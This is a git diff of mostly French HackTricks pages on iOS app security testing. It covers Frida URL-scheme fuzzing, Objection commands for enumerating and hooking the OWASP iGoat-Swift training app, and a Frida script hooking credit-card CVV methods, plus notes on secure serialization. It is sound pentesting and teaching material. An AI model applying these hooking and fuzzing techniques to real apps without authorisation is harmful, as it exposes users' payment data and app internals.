Les méthodes obsolètes gérant l'ouverture d'URL, telles que `application:handleOpenURL:` et `openURL:`, doivent être identifiées et examinées pour leurs implications en matière de sécurité.
|
||||
|
||||
### Fuzzing des schémas d'URL
|
||||
### Fuzzing URL Schemes
|
||||
|
||||
Le fuzzing des schémas d'URL peut identifier des bugs de corruption de mémoire. Des outils comme [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) peuvent automatiser ce processus en ouvrant des URL avec des charges utiles variables pour surveiller les plantages, comme illustré par la manipulation des URL dans l'application iGoat-Swift:
|
||||
Le fuzzing des schémas d'URL peut identifier des bugs de corruption de mémoire. Des outils comme [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) peuvent automatiser ce processus en ouvrant des URL avec des charges utiles variées pour surveiller les plantages, illustré par la manipulation des URL dans l'application iGoat-Swift :
|
||||
```bash
|
||||
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
|
||||
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
|
||||
|
@ -77,16 +78,17 @@ Opened URL: iGoat://?contactNumber=0&message=0
|
|||
## Références
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,37 @@
|
|||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
Pour cette section, l'outil [**Objection**](https://github.com/sensepost/objection) va être utilisé.\
|
||||
Commencez par obtenir une session objection en exécutant quelque chose comme:
|
||||
Commencez par obtenir une session objection en exécutant quelque chose comme :
|
||||
```bash
|
||||
objection -d --gadget "iGoat-Swift" explore
|
||||
objection -d --gadget "OWASP.iGoat-Swift" explore
|
||||
```
|
||||
Vous pouvez également exécuter `frida-ps -Uia` pour vérifier les processus en cours d'exécution sur le téléphone.
|
||||
Vous pouvez également exécuter `frida-ps -Uia` pour vérifier les processus en cours d'exécution du téléphone.
|
||||
|
||||
# Énumération de base de l'application
|
||||
|
||||
## Chemins locaux de l'application
|
||||
## Chemins d'application locaux
|
||||
|
||||
* `env`: Trouver les chemins où l'application est stockée à l'intérieur du périphérique
|
||||
* `env`: Trouver les chemins où l'application est stockée à l'intérieur de l'appareil
|
||||
|
||||
```bash
|
||||
env
|
||||
|
||||
Nom Chemin
|
||||
Nom Chemin
|
||||
----------------- -----------------------------------------------------------------------------------------------
|
||||
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
|
||||
|
@ -38,9 +39,9 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
|
|||
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
|
||||
```
|
||||
|
||||
## Liste des bundles, frameworks et bibliothèques
|
||||
## Lister les bundles, frameworks et bibliothèques
|
||||
|
||||
* `ios bundles list_bundles`: Liste des bundles de l'application
|
||||
* `ios bundles list_bundles`: Lister les bundles de l'application
|
||||
|
||||
```bash
|
||||
ios bundles list_bundles
|
||||
|
@ -49,7 +50,7 @@ Exécutable Bundle Version Chemin
|
|||
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
|
||||
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
|
||||
```
|
||||
* `ios bundles list_frameworks`: Liste des frameworks externes utilisés par l'application
|
||||
* `ios bundles list_frameworks`: Lister les frameworks externes utilisés par l'application
|
||||
|
||||
```bash
|
||||
ios bundles list_frameworks
|
||||
|
@ -76,11 +77,11 @@ RNCClipboard org.cocoapods.RNCClipboard 1.
|
|||
react_native_image_picker org.cocoapods.react-native-image-picker 2.3.4 ...orks/react_native_image_picker.framework
|
||||
[..]
|
||||
```
|
||||
* `memory list modules`: Liste des modules chargés en mémoire
|
||||
* `memory list modules`: Lister les modules chargés en mémoire
|
||||
|
||||
```bash
|
||||
memory list modules
|
||||
Nom Base Taille Chemin
|
||||
Nom Base Taille Chemin
|
||||
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
|
||||
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
|
||||
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
|
||||
|
@ -92,7 +93,7 @@ Foundation 0x1ab550000 2732032 (2.6 MiB) /System/L
|
|||
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
|
||||
[...]
|
||||
```
|
||||
* `memory list exports <module_name>`: Exportations d'un module chargé
|
||||
* `memory list exports <module_name>`: Exports d'un module chargé
|
||||
|
||||
```bash
|
||||
memory list exports iGoat-Swift
|
||||
|
@ -116,9 +117,9 @@ variable _ZTIN9couchbase6differ10BaseDifferE
|
|||
[..]
|
||||
```
|
||||
|
||||
## Liste des classes d'une application
|
||||
## Lister les classes d'une application
|
||||
|
||||
* `ios hooking list classes`: Liste des classes de l'application
|
||||
* `ios hooking list classes`: Lister les classes de l'application
|
||||
|
||||
```bash
|
||||
ios hooking list classes
|
||||
|
@ -133,9 +134,10 @@ AAAccountManager
|
|||
AAAddEmailUIRequest
|
||||
AAAppleIDSettingsRequest
|
||||
AAAppleTVRequest
|
||||
AAAttestationSigner
|
||||
[...]
|
||||
```
|
||||
* `ios hooking search classes <search_term>`: Rechercher une classe contenant une chaîne. Vous pouvez **rechercher un terme unique lié au nom du package principal de l'application** pour trouver les classes principales de l'application comme dans l'exemple :
|
||||
* `ios hooking search classes <search_term>`: Rechercher une classe qui contient une chaîne. Vous pouvez **rechercher un terme unique qui est lié au nom du package principal de l'application** pour trouver les principales classes de l'application comme dans l'exemple :
|
||||
|
||||
```bash
|
||||
ios hooking search classes iGoat
|
||||
|
@ -153,9 +155,9 @@ iGoat_Swift.MemoryManagementVC
|
|||
[...]
|
||||
```
|
||||
|
||||
## Liste des méthodes de classe
|
||||
## Lister les méthodes de classe
|
||||
|
||||
* `ios hooking list class_methods`: Liste des méthodes d'une classe spécifique
|
||||
* `ios hooking list class_methods`: Lister les méthodes d'une classe spécifique
|
||||
|
||||
```bash
|
||||
ios hooking list class_methods iGoat_Swift.RCreditInfo
|
||||
|
@ -169,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
|
|||
- initWithValue:
|
||||
- setCardNumber:
|
||||
```
|
||||
* `ios hooking search methods <search_term>`: Rechercher une méthode contenant une chaîne
|
||||
* `ios hooking search methods <search_term>`: Rechercher une méthode qui contient une chaîne
|
||||
|
||||
```bash
|
||||
ios hooking search methods cvv
|
||||
|
@ -188,11 +190,11 @@ ios hooking search methods cvv
|
|||
|
||||
# Hooking de base
|
||||
|
||||
Maintenant que vous avez **énuméré les classes et modules** utilisés par l'application, vous avez peut-être trouvé des noms de classes et de méthodes **intéressants**.
|
||||
Maintenant que vous avez **énuméré les classes et modules** utilisés par l'application, vous avez peut-être trouvé des **noms de classes et de méthodes intéressants**.
|
||||
|
||||
## Hooker toutes les méthodes d'une classe
|
||||
|
||||
* `ios hooking watch class <class_name>`: Hooker toutes les méthodes d'une classe, afficher tous les paramètres initiaux et les retours
|
||||
* `ios hooking watch class <class_name>`: Hooker toutes les méthodes d'une classe, dumper tous les paramètres initiaux et les retours
|
||||
|
||||
```bash
|
||||
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
||||
|
@ -200,7 +202,7 @@ ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
|
|||
|
||||
## Hooker une seule méthode
|
||||
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hooker une méthode spécifique d'une classe en affichant les paramètres, les backtraces et les retours de la méthode à chaque appel
|
||||
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hooker une méthode spécifique d'une classe en dumper les paramètres, les backtraces et les retours de la méthode chaque fois qu'elle est appelée
|
||||
|
||||
```bash
|
||||
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
|
||||
|
@ -225,40 +227,56 @@ var target = ObjC.classes.iGoat_Swift.RCreditInfo;
|
|||
|
||||
Interceptor.attach(target['+ sharedSchema'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entering + sharedSchema!');
|
||||
console.log('Entrée + sharedSchema!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Leaving + sharedSchema');
|
||||
console.log('Sortie + sharedSchema');
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
Interceptor.attach(target['+ className'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entering + className!');
|
||||
console.log('Entrée + className!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Leaving + className');
|
||||
console.log('Sortie + className');
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
Interceptor.attach(target['- cvv'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entering - cvv!');
|
||||
console.log('Entrée - cvv!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Leaving - cvv');
|
||||
console.log('Sortie - cvv');
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
Interceptor.attach(target['- setCvv:'].implementation, {
|
||||
onEnter: function (args) {
|
||||
console.log('Entering - setCvv:!');
|
||||
console.log('Entrée - setCvv:!');
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
console.log('Leaving - setCvv:');
|
||||
console.log('Sortie - setCvv:');
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Gestionnaires de protocoles WebView
|
||||
|
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Code et plus d'informations sur [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence).
|
||||
|
||||
## Sérialisation d'objets dans le développement iOS
|
||||
|
||||
En iOS, la **sérialisation d'objets** consiste à convertir des objets dans un format pouvant être facilement stocké ou transmis, puis à les reconstruire à partir de ce format en cas de besoin. Deux protocoles principaux, **`NSCoding`** et **`NSSecureCoding`**, facilitent ce processus pour les sous-classes Objective-C ou `NSObject`, permettant aux objets d'être sérialisés en **`NSData`**, un format qui enveloppe des tampons d'octets.
|
||||
Dans iOS, **la sérialisation d'objets** implique de convertir des objets en un format qui peut être facilement stocké ou transmis, puis de les reconstruire à partir de ce format lorsque nécessaire. Deux protocoles principaux, **`NSCoding`** et **`NSSecureCoding`**, facilitent ce processus pour les sous-classes Objective-C ou `NSObject`, permettant aux objets d'être sérialisés en **`NSData`**, un format qui enveloppe des tampons d'octets.
|
||||
|
||||
### Implémentation de **`NSCoding`**
|
||||
Pour implémenter `NSCoding`, une classe doit hériter de `NSObject` ou être marquée comme `@objc`. Ce protocole exige l'implémentation de deux méthodes pour encoder et décoder les variables d'instance :
|
||||
### **`NSCoding`** Implementation
|
||||
Pour implémenter `NSCoding`, une classe doit hériter de `NSObject` ou être marquée comme `@objc`. Ce protocole impose l'implémentation de deux méthodes pour l'encodage et le décodage des variables d'instance :
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
var x: Double = 0.0
|
||||
|
@ -37,7 +38,7 @@ self.init(x: aDecoder.decodeDouble(forKey: "x"), name: name)
|
|||
}
|
||||
```
|
||||
### **Améliorer la sécurité avec `NSSecureCoding`**
|
||||
Pour atténuer les vulnérabilités où les attaquants injectent des données dans des objets déjà construits, **`NSSecureCoding`** offre un protocole amélioré. Les classes conformes à `NSSecureCoding` doivent vérifier le type d'objets lors du décodage, garantissant que seuls les types d'objets attendus sont instanciés. Cependant, il est crucial de noter que bien que `NSSecureCoding` améliore la sécurité des types, il n'encrypte pas les données ou n'assure pas leur intégrité, nécessitant des mesures supplémentaires pour protéger les informations sensibles:
|
||||
Pour atténuer les vulnérabilités où des attaquants injectent des données dans des objets déjà construits, **`NSSecureCoding`** offre un protocole amélioré. Les classes conformes à `NSSecureCoding` doivent vérifier le type des objets lors du décodage, garantissant que seuls les types d'objets attendus sont instanciés. Cependant, il est crucial de noter que bien que `NSSecureCoding` améliore la sécurité des types, il ne crypte pas les données ni n'assure leur intégrité, nécessitant des mesures supplémentaires pour protéger les informations sensibles :
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
|
@ -46,41 +47,41 @@ return true
|
|||
let obj = decoder.decodeObject(of: MyClass.self, forKey: "myKey")
|
||||
```
|
||||
## Archivage de données avec `NSKeyedArchiver`
|
||||
`NSKeyedArchiver` et son homologue, `NSKeyedUnarchiver`, permettent d'encoder des objets dans un fichier et de les récupérer ultérieurement. Ce mécanisme est utile pour persister des objets :
|
||||
`NSKeyedArchiver` et son homologue, `NSKeyedUnarchiver`, permettent d'encoder des objets dans un fichier et de les récupérer ultérieurement. Ce mécanisme est utile pour la persistance des objets :
|
||||
```swift
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||
```
|
||||
### Utilisation de `Codable` pour une sérialisation simplifiée
|
||||
Le protocole `Codable` de Swift combine `Decodable` et `Encodable`, facilitant l'encodage et le décodage d'objets tels que `String`, `Int`, `Double`, etc., sans effort supplémentaire :
|
||||
Le protocole `Codable` de Swift combine `Decodable` et `Encodable`, facilitant l'encodage et le décodage d'objets comme `String`, `Int`, `Double`, etc., sans effort supplémentaire :
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var x: Double
|
||||
var name: String
|
||||
}
|
||||
```
|
||||
Cet approche prend en charge la sérialisation simple vers et depuis des listes de propriétés et du JSON, améliorant la manipulation des données dans les applications Swift.
|
||||
Cette approche prend en charge la sérialisation simple vers et depuis des listes de propriétés et JSON, améliorant ainsi la gestion des données dans les applications Swift.
|
||||
|
||||
## Alternatives d'encodage JSON et XML
|
||||
Au-delà du support natif, plusieurs bibliothèques tierces offrent des capacités d'encodage/décodage JSON et XML, chacune avec ses propres caractéristiques de performance et considérations de sécurité. Il est impératif de sélectionner soigneusement ces bibliothèques, en particulier pour atténuer les vulnérabilités telles que les attaques XXE (Entités Externes XML) en configurant les analyseurs pour empêcher le traitement des entités externes.
|
||||
Au-delà du support natif, plusieurs bibliothèques tierces offrent des capacités d'encodage/décodage JSON et XML, chacune ayant ses propres caractéristiques de performance et considérations de sécurité. Il est impératif de sélectionner ces bibliothèques avec soin, en particulier pour atténuer les vulnérabilités telles que les attaques XXE (XML External Entities) en configurant les analyseurs pour empêcher le traitement des entités externes.
|
||||
|
||||
### Considérations de sécurité
|
||||
Lors de la sérialisation des données, en particulier vers le système de fichiers, il est essentiel de rester vigilant quant à l'éventuelle inclusion d'informations sensibles. Les données sérialisées, si elles sont interceptées ou mal gérées, peuvent exposer les applications à des risques tels que des actions non autorisées ou des fuites de données. Il est recommandé de chiffrer et de signer les données sérialisées pour renforcer la sécurité.
|
||||
|
||||
Lors de la sérialisation des données, en particulier vers le système de fichiers, il est essentiel de rester vigilant quant à l'inclusion potentielle d'informations sensibles. Les données sérialisées, si elles sont interceptées ou mal gérées, peuvent exposer les applications à des risques tels que des actions non autorisées ou des fuites de données. Il est recommandé de chiffrer et de signer les données sérialisées pour améliorer la sécurité.
|
||||
|
||||
## Références
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# Partage UIActivity iOS
|
||||
# iOS UIActivity Sharing
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
